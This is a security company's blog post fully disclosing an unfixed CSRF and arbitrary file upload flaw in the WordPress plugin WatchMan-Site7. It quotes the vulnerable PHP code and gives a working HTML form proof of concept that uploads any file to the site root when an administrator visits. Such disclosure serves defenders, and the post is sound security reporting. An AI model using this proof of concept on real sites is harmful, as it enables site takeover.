03 Dec

Our Proactive Monitoring Caught a CSRF/Arbitrary File Upload Vulnerability in Security Related WordPress Plugin

A few weeks ago we full disclosed a fairly serious vulnerability in a security plugin with 70,000+ installs designed to log WordPress user activity (probably in large due part to the people on the WordPress side of things, that vulnerability hasn’t been fixed so far), through our our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we run across another logging plugin, WatchMan-Site7, that has a vulnerability of its own. Through the vulnerability an attacker that could get a logged in Administrator to access a page they control could cause a malicious file to be uploaded on the website and from they could almost anything with the website.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin runs the function wms7_visit_manager() when visiting it’s main admin page, which is accessible to users with the Administrator role and the “activate_plugins” capability (which normally only Administrators have):

if ( 'administrator' === $role || 'analyst_wms7' === $role ) {
	add_menu_page( esc_html( 'Visitors', 'watchman-site7' ), esc_html( 'Visitors', 'watchman-site7' ), 'activate_plugins', 'wms7_visitors', array( $this, 'wms7_visit_manager' ), 'dashicons-shield', '71' );

In the function wms7_visit_manager(), which is located in the file /class-wms7-core.php, if the POST input “mail_new_send” exists then the function wms7_mail_send() runs:

$_mail_new_send = filter_input( INPUT_POST, 'mail_new_send', FILTER_SANITIZE_STRING );
if ( $_mail_new_send ) {
	$val        = get_option( 'wms7_main_settings' );
	$select_box = $val['mail_select'];
	$box        = $val[ $select_box ];
	$str_head   = 'e-mail box: ' . $box['mail_box_name'];

In the function wms7_mail_send(), which is in the file /includes/wms7-mail.php, files sent with the request are set to the variable $_files_attach:

$_files_attach     = filter_var_array( $_FILES );// WPCS: input var ok.
$_files_attach     = $_files_attach['mail_new_attach'];

Then later in the function the file is saved to the filesystem:

if ( '' !== $_files_attach['name'] ) {
	$file = $_document_root . $path_tmp . $_files_attach['name'];
	move_uploaded_file( $_files_attach['tmp_name'], $file );

By default we found it is saved to the root directory of the website.

There is no restriction on what types of files can be uploaded through that.

No where in that code is a check for a valid nonce, so the arbitrary upload functionality can be exploited through cross-site request forgery (CSRF).

It also looks like the same code could be used to send emails from the website as well.

Proof of Concept

The following proof of concept will upload the selected file to the directory /, when logged in to WordPress as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin.php?page=wms7_visitors" method="POST" enctype="multipart/form-data">
<input type="hidden" name="mail_new_send" value="true" />
<input type="hidden" name="mail_new_to" value="test@example.com" />
<input type="file" name="mail_new_attach" />
<input type="submit" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.